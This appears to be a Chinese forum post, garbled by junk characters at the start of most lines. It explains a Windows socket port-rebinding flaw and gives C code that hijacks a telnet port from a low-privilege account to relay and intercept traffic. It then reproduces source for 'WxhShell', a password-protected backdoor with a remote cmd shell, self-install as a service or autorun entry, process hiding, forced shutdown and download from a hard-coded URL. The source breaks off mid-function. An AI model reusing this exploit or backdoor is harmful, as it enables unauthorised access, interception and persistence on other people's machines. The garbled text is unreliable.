在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%xZG*2vc!B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U9y|>P\)T a ]Eg!Q saddr.sin_family = AF_INET;
wxg^Bq)D*R WtulTAfN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"\W-f j(:I7%3&(* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B(?Yw>Xd[ :<Y}l-x 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aNn"X y\ k w]b,7QuNz 这意味着什么?意味着可以进行如下的攻击:
=<r8fXWZ Rlnbdb;!k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`1*nL,i W7"{r)7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=gfI!w v2r&('pV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VErv;GyV fj7|D'c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<~TP#uAz hz;|NW{u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
a,F&`Wg W?yd#j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?Xdak|?i LMi:%i%\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~>O) iovfo2!hD #include
@`tXKP$so #include
6S6f\gAM #include
f/WQ[\<!I #include
-9RDr\&`( DWORD WINAPI ClientThread(LPVOID lpParam);
l`kWz5[~ int main()
>hBxY]< \ {
L9pvG(R% WORD wVersionRequested;
ReiB $y6 DWORD ret;
3lV^B[$ WSADATA wsaData;
U\/5;Txy( BOOL val;
[E#UGJ@ SOCKADDR_IN saddr;
-a*K$rnB SOCKADDR_IN scaddr;
0 a]/%y3V int err;
?JL7=o
X SOCKET s;
m}>F<;hQ SOCKET sc;
UAR5^ int caddsize;
ThPE
0V HANDLE mt;
#%J5\+ua DWORD tid;
8/)qTUx: wVersionRequested = MAKEWORD( 2, 2 );
%m:m}ziLQ err = WSAStartup( wVersionRequested, &wsaData );
PoEqurH0 if ( err != 0 ) {
UhIDRR printf("error!WSAStartup failed!\n");
vI$t+m: return -1;
TO%dw^{_` }
,=?{("+ saddr.sin_family = AF_INET;
nG_6oe*=I x0d~i!d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
olLfko4$*V kB5.(O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
AeAp0cbet saddr.sin_port = htons(23);
6<K6Y5<6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P/&]?f0/ {
7JSNYTH printf("error!socket failed!\n");
}I`a`0/ return -1;
p4V eRJk% }
hHqh{:q{v val = TRUE;
wP"dZagpj //SO_REUSEADDR选项就是可以实现端口重绑定的
]kG(G%r|M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yV)la@c {
sB69R:U; printf("error!setsockopt failed!\n");
!mXxAo return -1;
r!
Ay:r }
KR7@[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?f/n0U4w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pRSOYTebP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Xl74@wq OT'[:|x ; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z$J#| {
Zw
wqSyuGf ret=GetLastError();
02BuX]_0g printf("error!bind failed!\n");
{mB0rKVm return -1;
]
}f9JNf$ }
wgd /(8d listen(s,2);
xeGb?DPu while(1)
.jMq {
%4HRW;IU caddsize = sizeof(scaddr);
^k<oT'89 //接受连接请求
soCi[j$lH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T6ENtp if(sc!=INVALID_SOCKET)
7 I>G{ {
A=Ss6-Je mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C!7>1I~5 if(mt==NULL)
=~p>`nV {
Hr$QLtr printf("Thread Creat Failed!\n");
a'\o7_ break;
2k<;R': }
z5TuGYb< }
/> 4"~q) CloseHandle(mt);
`O'`eY1f }
CW<N: F.9 closesocket(s);
kY'T{Sm1^ WSACleanup();
.H,xle return 0;
ur$l Z0 }
(e"iO`H DWORD WINAPI ClientThread(LPVOID lpParam)
Zkf0p9h\ {
b:w?PC~O SOCKET ss = (SOCKET)lpParam;
MeUaTJFEB SOCKET sc;
hdVdcnM unsigned char buf[4096];
~RWktv SOCKADDR_IN saddr;
*&f$K1p long num;
zhf.NCSt( DWORD val;
IUwm}9Q! DWORD ret;
@'GGm#< //如果是隐藏端口应用的话,可以在此处加一些判断
rl0< Ls //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~9j%Hm0ht saddr.sin_family = AF_INET;
M}!2H* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qca&E`~Q saddr.sin_port = htons(23);
J(6oL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RZ+`T+zL {
D::rGB?.b printf("error!socket failed!\n");
!o$!Fr c return -1;
a1@Y3MQ;i }
.?l\g-;= val = 100;
4R\Hpt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
71\xCSI1w& {
y:6; LZ9[ ret = GetLastError();
tPF.r return -1;
l'eyq}& }
r-<F5<H+K@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*M"}z {
KRA/MQ^7~U ret = GetLastError();
ow]053:i return -1;
`*shF9.\C }
9yfJVg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vuYSVI2=H {
/Sh#_\x printf("error!socket connect failed!\n");
8e(\%bX closesocket(sc);
r3PT1'P?L closesocket(ss);
m|G'K[8 return -1;
^N)R=tl }
1.6:# while(1)
{lc\,F* $ {
2=^m9% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
w.TuoWo> //如果是嗅探内容的话,可以再此处进行内容分析和记录
ZEx}$<)_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{Ja!~N;3 num = recv(ss,buf,4096,0);
v%iflCK if(num>0)
:n-]>Q>5=k send(sc,buf,num,0);
i ,/0/?)*_ else if(num==0)
%B.yW`,X break;
XD2v*l|Po num = recv(sc,buf,4096,0);
:Cj OPl
if(num>0)
+csi[c)3E send(ss,buf,num,0);
(:>,u*x% else if(num==0)
e\:+uVzz break;
Ob<{G" }
e-EUf closesocket(ss);
Ev}C<zk* closesocket(sc);
,]d/Q< return 0 ;
CTZ8Da^ }
j=r P:# '?p<lu^^B oc >{?.^ ==========================================================
Yz+ZY m0a?LY 下边附上一个代码,,WXhSHELL
wG-HF'0L z)r=+ - ==========================================================
kZGRxp9 LAS'u"c| #include "stdafx.h"
waj0"u^# GE%Z9#E #include <stdio.h>
|#cm`v #include <string.h>
hRD=Y<>A #include <windows.h>
=*c7i]@} #include <winsock2.h>
WGZ9B^A #include <winsvc.h>
UKT%13CO4U #include <urlmon.h>
CU@Rob} s %D%8^Zd_ #pragma comment (lib, "Ws2_32.lib")
1e{IC= #pragma comment (lib, "urlmon.lib")
MS
81sN\d 8y.wSu
#define MAX_USER 100 // 最大客户端连接数
8"8t-E#? #define BUF_SOCK 200 // sock buffer
E%,^Yvh/ #define KEY_BUFF 255 // 输入 buffer
zkuU5O YSic-6z0Ms #define REBOOT 0 // 重启
CFMo)" #define SHUTDOWN 1 // 关机
R\G0'?h
> fPR1f~r #define DEF_PORT 5000 // 监听端口
26I_YL,S NflD/q/ L #define REG_LEN 16 // 注册表键长度
Gi?/C&1T #define SVC_LEN 80 // NT服务名长度
}J:U=HJ %InA+5s` // 从dll定义API
[S9K6%w_! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:OhHb#D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yW1)vD7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C'.L20qW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t\~P:" 7vrl'^ 1 // wxhshell配置信息
"4+&-ms struct WSCFG {
jET{Le8i int ws_port; // 监听端口
59Xi3KY char ws_passstr[REG_LEN]; // 口令
+./H6! int ws_autoins; // 安装标记, 1=yes 0=no
DEG[Z7Ju char ws_regname[REG_LEN]; // 注册表键名
k;AD`7(= char ws_svcname[REG_LEN]; // 服务名
Z<1FSk,[ char ws_svcdisp[SVC_LEN]; // 服务显示名
(2J: # char ws_svcdesc[SVC_LEN]; // 服务描述信息
:cem,#(= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fTS5yb% int ws_downexe; // 下载执行标记, 1=yes 0=no
A}G7l?V& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u~7hWiY<2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_~IR6dKE 9ifDcYl };
rb5~XnJk #%iDT6 // default Wxhshell configuration
NO "xL, struct WSCFG wscfg={DEF_PORT,
n$xc];j "xuhuanlingzhe",
l&OKBUG 1,
+7D|4 "Wxhshell",
Z&Pg"a?\ "Wxhshell",
b~KDP+Ri "WxhShell Service",
jSh5!6O "Wrsky Windows CmdShell Service",
L-jJg,eY "Please Input Your Password: ",
jaTh^L 1,
.zA^)qgL "
http://www.wrsky.com/wxhshell.exe",
7E r23Q
"Wxhshell.exe"
:~b3^xhc^ };
:1cV;gJ \\PjKAsh // 消息定义模块
q@QksAq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
B8.Pn char *msg_ws_prompt="\n\r? for help\n\r#>";
?]|\4]zV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X[*<NN char *msg_ws_ext="\n\rExit.";
wa<MRt W= char *msg_ws_end="\n\rQuit.";
W]"zctE char *msg_ws_boot="\n\rReboot...";
Q3n,)M[N char *msg_ws_poff="\n\rShutdown...";
`YFtL char *msg_ws_down="\n\rSave to ";
D"Bl:W'?j ~Sg5:T3 char *msg_ws_err="\n\rErr!";
[.O?Z=5a[V char *msg_ws_ok="\n\rOK!";
iZ#!O*> "Q}#^h]F char ExeFile[MAX_PATH];
,0~^>K int nUser = 0;
?Nup1!D HANDLE handles[MAX_USER];
p#01gB int OsIsNt;
Od)Uv1 Jv>gwV{ SERVICE_STATUS serviceStatus;
F |d\k Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
^Ew]uN>, 8;d:-Cp // 函数声明
6.CbAi3Z
int Install(void);
Pj#<K%Bz int Uninstall(void);
$h2){*5E{ int DownloadFile(char *sURL, SOCKET wsh);
fL_4uC i\ int Boot(int flag);
)_+rU|We void HideProc(void);
J ][T"K int GetOsVer(void);
WzPTFw[ int Wxhshell(SOCKET wsl);
^WHE$4U` void TalkWithClient(void *cs);
T_i:}ul int CmdShell(SOCKET sock);
Y#!UPhg< int StartFromService(void);
x*![fK int StartWxhshell(LPSTR lpCmdLine);
Lrta/SU* @XgKYm
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
WB?jRYp VOID WINAPI NTServiceHandler( DWORD fdwControl );
I(]}XZq Q;[,Q~c[u // 数据结构和表定义
tR}MrM SERVICE_TABLE_ENTRY DispatchTable[] =
w&$`cD {
1%EBd%`# {wscfg.ws_svcname, NTServiceMain},
gi(H]|=a {NULL, NULL}
ql<i] Y };
VYu~26Zr b1^vd@(lx // 自我安装
!2 LCLN\ int Install(void)
]Uw<$!$-]s {
~;QvWS char svExeFile[MAX_PATH];
{!.(7wV\ HKEY key;
AuUde$l_ strcpy(svExeFile,ExeFile);
]=.\-K LUG;(Fko // 如果是win9x系统,修改注册表设为自启动
qHsUP;7 if(!OsIsNt) {
B\<Q ;RI2; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{G|,\O1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n1qQ+(xC RegCloseKey(key);
*meZ8DV2DH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
NS9B[*"Jl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kd=GCO RegCloseKey(key);
$k|g"9 return 0;
~3UQ|j }
)!Jc3%(B }
!zuxz }
:@kGAI else {
e8y;.D[2 T:t]"d}} // 如果是NT以上系统,安装为系统服务
tna .52*/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9!f/aI if (schSCManager!=0)
cmBB[pk\ {
R#xCkl - SC_HANDLE schService = CreateService
#OBJzf*p (
]P#XVDn+; schSCManager,
UUSq$~Ct wscfg.ws_svcname,
#?5 (o wscfg.ws_svcdisp,
LL] zT H0 SERVICE_ALL_ACCESS,
m/v9!'cMI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W [Of|? SERVICE_AUTO_START,
j H19k}D SERVICE_ERROR_NORMAL,
pR
`>b 3 svExeFile,
I{
HN67O NULL,
e@c0WlWa NULL,
:Nu^ NULL,
">~.$Jp_4 NULL,
0*%Z's\M" NULL
[OHxonU );
ipQLK{]t if (schService!=0)
umD!2
w {
I'PeN0T
f CloseServiceHandle(schService);
+cIUGFp} CloseServiceHandle(schSCManager);
K|Ld,bq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g$HwxA9Gp/ strcat(svExeFile,wscfg.ws_svcname);
/3A^I{e74
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
MG[o%I96 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0QPH}Vi5} RegCloseKey(key);
/<E5"Mm% return 0;
:{qv~&+C }
:80Z6F.k` }
u1t%(_h CloseServiceHandle(schSCManager);
n,=VQOu }
8d?g]DEN)6 }
?dD&p8{ M(jgd return 1;
8i6Ps$T }
0|2%vh >J !lEY=1nHOJ // 自我卸载
350_CN, int Uninstall(void)
hJwC~HG5 {
M>&%(4K HKEY key;
/3eKN V2$h8\a if(!OsIsNt) {
~\=1'D^6CK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JAAI_gSR3 RegDeleteValue(key,wscfg.ws_regname);
[QMu2 RegCloseKey(key);
Jj,U RD&0R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?47@o1 RegDeleteValue(key,wscfg.ws_regname);
_Dym{!t RegCloseKey(key);
Vy*:ne return 0;
v3}L`dyh3 }
1U^A56CN }
@)
s,{F }
r) $+ else {
2R=DB`3 8'<-:KG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}
@K FB if (schSCManager!=0)
`!Ds6 {
v-yde>( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8wVY0oRnU if (schService!=0)
A-,up{g {
0KMctPT]p if(DeleteService(schService)!=0) {
][W_[0v CloseServiceHandle(schService);
[%9noB CloseServiceHandle(schSCManager);
)dY=0"4Z return 0;
1AG=%F|. }
ms!r ef4`+ CloseServiceHandle(schService);
k]5Bykf`Ky }
~><^'j[ CloseServiceHandle(schSCManager);
z "+Mrew }
;QW3CEaUq }
n) k1 .k
3' return 1;
oqLfesV~ }
Si_%Rr&jW |N}P(GF // 从指定url下载文件
p98~&\QT int DownloadFile(char *sURL, SOCKET wsh)
D\[h:8k {
EL8NZ%:v: HRESULT hr;
vG;zJ#c char seps[]= "/";
h$.:Uj8/ char *token;
:WSDf VX char *file;
Eh =~T9 char myURL[MAX_PATH];
2gzou|Y char myFILE[MAX_PATH];
^|/]( INkD=tX strcpy(myURL,sURL);
i&vaeP25) token=strtok(myURL,seps);
"y_#7K while(token!=NULL)
Pb8^ b {
vfl5Mx4 file=token;
W-.pmU e2 token=strtok(NULL,seps);
=e gW }
d3W0-INL
W - GetCurrentDirectory(MAX_PATH,myFILE);
/F4pb]U!* strcat(myFILE, "\\");
&Ch#-CUE/ strcat(myFILE, file);
Pfm_@'8 send(wsh,myFILE,strlen(myFILE),0);
m}8[#: send(wsh,"...",3,0);
{X*^s5{;H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rp6q?3=g if(hr==S_OK)
\MK*by return 0;
Zum0J{l
h else
rQEyD return 1;
m!W3Cwz\& !A>z(eIsv` }
b:R-mg.VT{ *1 G>YH // 系统电源模块
u$D*tqxG int Boot(int flag)
0vVV%,v {
QT9n,lX HANDLE hToken;
w|CZ7|6 TOKEN_PRIVILEGES tkp;
4n
%?YQ[t @h*fFiY&{ if(OsIsNt) {
% ,N< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-F=v6N { LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M[ z)6. tkp.PrivilegeCount = 1;
.AYj'Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`60gFVu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/
}R z=& if(flag==REBOOT) {
}BiiE%a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dJv!Dts')C return 0;
}hYZ"
A~ }
h'$QC )P else {
ifo7%XPcg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gORJWQv return 0;
+4\U)Z/\ }
urvduE }
gPu2G/Y else {
~V/?H!r'{} if(flag==REBOOT) {
A/7X9ir if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vsL[*OeI return 0;
bWZbG{Y. }
lpRR& else {
G60R9y47c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
be e5 return 0;
[xh*"wT#g }
=?h~.lo }
X[2[!)Rk Dfd-^N!
return 1;
`MEYd U1 }
BYY RoE[P l88A=iLgv // win9x进程隐藏模块
0aoHKeP void HideProc(void)
v|ox!0:# {
eUl/o1~mXa )RYG% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'!P"xBVAu if ( hKernel != NULL )
.)|a2d ~F {
-
}!H3]tr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[TF8'jI0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\([WH!7 FreeLibrary(hKernel);
PY3ps2^K. }
`.#@@5e yAL1O94 return;
?EU\}N J }
;WT{|z vG^#Sfgtw // 获取操作系统版本
L:M0pk{T int GetOsVer(void)
T\VNqs@ {
*n(> ^ OSVERSIONINFO winfo;
F8e<}v&7R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kCUT ^ GetVersionEx(&winfo);
M,3wmW&d6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VGw(6`|! return 1;
)4xu^=N&as else
_,6f#t return 0;
7%OKH<i\2< }
cgC\mM4Nla <B /5J:o< // 客户端句柄模块
k:A|'NK~ int Wxhshell(SOCKET wsl)
9umGIQHnil {
{dPgf SOCKET wsh;
5)zn :$cz struct sockaddr_in client;
JO@Bf DWORD myID;
7:h!Wj-a] I~'*$l while(nUser<MAX_USER)
Swtbl`, {
1u]P4Gf= int nSize=sizeof(client);
*.f2VQ~H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r)1Z(tl if(wsh==INVALID_SOCKET) return 1;
'ul\Q`N3 Qq0l*)mX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+c206. if(handles[nUser]==0)
F5gObIJtuY closesocket(wsh);
<XQ.A3SG! else
0)uYizJce nUser++;
TUp%FJXA| }
lm'Zy"~:: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[A~G- ;n#%G^!H return 0;
S+x_c4 T }
e[Xq TbE:||r?^ // 关闭 socket
H5wb_yBQ+ void CloseIt(SOCKET wsh)
i4Z4xTn {
Sm3u /w! closesocket(wsh);
]]iO- } nUser--;
1H4fJ3- ExitThread(0);
Edt}",s7 }
#]KgUc5B |qjZ38;6 // 客户端请求句柄
LhJ a)jFQ void TalkWithClient(void *cs)
)3?rXsSR {
V+B71\x< L&w.j0fq SOCKET wsh=(SOCKET)cs;
}HZ{(? char pwd[SVC_LEN];
:.IN?X char cmd[KEY_BUFF];
A! 6r/
char chr[1];
9q4_j int i,j;
X:q_c =X [ x> while (nUser < MAX_USER) {
Q .RO ;[5r7
jHU if(wscfg.ws_passstr) {
/8 CY0Ey if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-Wjh* * //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$iMC/Kym //ZeroMemory(pwd,KEY_BUFF);
juno.$
6 i=0;
Z[IM<S9lz while(i<SVC_LEN) {
xks?y.wA &IQ%\W#aY // 设置超时
G%hO\EO fd_set FdRead;
Gt^d;7x] struct timeval TimeOut;
y lL8+7W FD_ZERO(&FdRead);
X8 qIia FD_SET(wsh,&FdRead);
.9 kyrlm TimeOut.tv_sec=8;
,{<Fz% TimeOut.tv_usec=0;
'
iQ9hQjD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F'BdQk3o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i>GdRG&q :('I)C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
do'ORcZ pwd
=chr[0]; ;QPy:x3
if(chr[0]==0xd || chr[0]==0xa) { yh!B!v'
pwd=0; ~%P3Pp
break; /2w@K_Px6
} BED@?:U# h
i++; BJIQ
zn3
} JK^[{1
JI
tp+=0k2i
// 如果是非法用户,关闭 socket &7][@v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); on50+)uN
} >EBC 2WJ
okDJ(AIV+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !aeNq82
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Z"9rF2SW
t?.\|2
while(1) { \^s2W:c
^srs$
w]
ZeroMemory(cmd,KEY_BUFF); msG3~@q
R-C5*$
// 自动支持客户端 telnet标准 dJE`9$jN
j=0; -mC:r&Y>[
while(j<KEY_BUFF) { Lupy:4AD
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =M7PvH'"
cmd[j]=chr[0]; ^Fvr
f`A'
if(chr[0]==0xa || chr[0]==0xd) { <i7agEdZD
cmd[j]=0; T0?uC/7H
break; jMqx
} 5%'S
j++; "cQvd(kug
} `{L{wJ:&a
*+W6 P.K
// 下载文件 /x
O{
.dr
if(strstr(cmd,"http://")) { wO!%
q[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _f66>a<
if(DownloadFile(cmd,wsh)) kU(kU2u%9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w Oj88J)
else uZ<%kV1B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;,v.(Z ic
} H}a)^90_
else { l\Cu1r-z
a>?p.!BM
switch(cmd[0]) { )5'rw<:="
i.F8
// 帮助 =kF?_K N
case '?': { qz87iJp&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !6{Jq]
break; )kF2HF
} /!-J53K
// 安装 |FjBKj
case 'i': { h&q=I.3O|?
if(Install()) YK7 \D:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3<^ U
else !2#\| NJk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K_Z+]]$#
break; p8$\uo 9YQ
} r)c+".0d^
// 卸载 XRtyC4f
case 'r': { pmoGudaRF
if(Uninstall()) HE@-uh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48H5_9>:
else 4v0dd p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <|B$dz?r
break; ?ISI[hoc
} .zQ4/
// 显示 wxhshell 所在路径 @;g`+:=
case 'p': { VtD@&N
char svExeFile[MAX_PATH]; }!eF
strcpy(svExeFile,"\n\r"); ^8b~ZX
strcat(svExeFile,ExeFile); ful]OLV+
send(wsh,svExeFile,strlen(svExeFile),0); H]Y#pLu|
break; _'H2>V_
} j~Xj
// 重启 L-`(!j
case 'b': { XCW+ pUX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @gs26jX~2}
if(Boot(REBOOT)) ])+Sc"g4k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YN_X0+b3C
else { "ugX
/r$_
closesocket(wsh); czXI?]gg,
ExitThread(0); 3s3a>
} j7QBU
break; |3s.;wK
} ac2}3$u
// 关机 zG&WWc`K
case 'd': { J&
1X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z}]:x
`fXd
if(Boot(SHUTDOWN)) \a{Aa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L#@l(8.
else { R
tXF
closesocket(wsh); ;m-6.AV
ExitThread(0); z44
} "r5'lQI
break; YR$tPe
} l=Lmr
// 获取shell dM);LT8@
case 's': { DR.3
J`?K
CmdShell(wsh); ^4n2
-DvG
closesocket(wsh); HV]~=Bw2I
ExitThread(0); },?-$eyX
break;
?K= gg<
} ;`X`c
// 退出 GE/IaLo
case 'x': { nOA,x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {|8:U}<#h
CloseIt(wsh); ?^e*UJNM
break; lW{I`r\]
} 6/p]jN
// 离开 (hD X4;4
case 'q': { 20SF<V
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -o!saX<
closesocket(wsh);
>tE,8
WSACleanup(); Mt7X<?GZm
exit(1); $G^H7|PzdC
break; =CD:.FG.
} QjW~6Z.tI
} g/n"N>L
} OI;L9\MJc
.{-iq(3
// 提示信息 )VSGqYr#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X:zyzEhS
} N@%xLJF=N>
} 9I^H)~S
&L[8Mju6
return; -Y!=Iw
4
} _3FMQY(
N?`GZ+5
// shell模块句柄 D%5 {A=
int CmdShell(SOCKET sock) 2yVGEp^
{ R, (+NT$
STARTUPINFO si; $)i"[
ZeroMemory(&si,sizeof(si)); l#J>It\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zL[U;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XQJV.SVS
PROCESS_INFORMATION ProcessInfo; <T=o]M$
char cmdline[]="cmd"; 37<GG)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w-q=.RSTn=
return 0; PHB\)/
} 7u&H*e7
S+E3;' H
// 自身启动模式 Vv*5{_
int StartFromService(void) aV0;WH_3
{ nG(|7x
typedef struct s$=B~l
{ KcMzZ!d7m
DWORD ExitStatus; u{y5'cJ{
DWORD PebBaseAddress; X#\P.$
DWORD AffinityMask; %@,:RA\pm
DWORD BasePriority; KTS7)2ci
ULONG UniqueProcessId; =*O9)$b
ULONG InheritedFromUniqueProcessId; G#=b6DB
